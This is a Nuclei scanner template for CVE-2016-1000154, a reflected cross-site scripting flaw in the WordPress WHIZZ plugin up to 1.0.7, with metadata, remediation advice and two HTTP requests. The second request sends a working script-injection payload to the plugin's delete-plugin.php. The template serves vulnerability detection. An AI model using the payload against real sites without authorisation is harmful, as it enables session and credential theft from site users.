CVE-2016-1000154: WordPress WHIZZ <=1.0.7 - Cross-Site Scripting

2025-08-01 WordPress WHIZZ PoC Public

Description

WordPress plugin WHIZZ 1.07 and before contains a reflected cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

PoC

id: CVE-2016-1000154

info:
  name: WordPress WHIZZ <=1.0.7 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: WordPress plugin WHIZZ 1.07 and before contains a reflected cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft or unauthorized actions.
  remediation: |
    Update WordPress WHIZZ plugin to the latest version (>=1.0.8) which includes a fix for the XSS vulnerability.
  reference:
    - http://www.vapidlabs.com/wp/wp_advisory.php?v=112
    - https://wordpress.org/plugins/whizz
    - https://nvd.nist.gov/vuln/detail/CVE-2016-1000154
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2016-1000154
    cwe-id: CWE-79
    epss-score: 0.0402
    epss-percentile: 0.90148
    cpe: cpe:2.3:a:browserweb:whizz:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: browserweb
    product: whizz
    framework: wordpress
  tags: cve2016,cve,wordpress,xss,wp-plugin,browserweb,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/whizz/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'WHIZZ'
          - 'Tags:'
        condition: and

  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/whizz/plugins/delete-plugin.php?plugin=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 490a00463044022077e6f9246ca0674f79ba66e0e045ee570213580e2590ed4b9d05c18991c78a4202203af66c79e9bd7742df02be8ebb28840a55f378d598ae09679b5f0e4fe9d3ff8b:922c64590222798bb761d5b6d8e72950

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Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2016/CVE-2016-1000154.yaml

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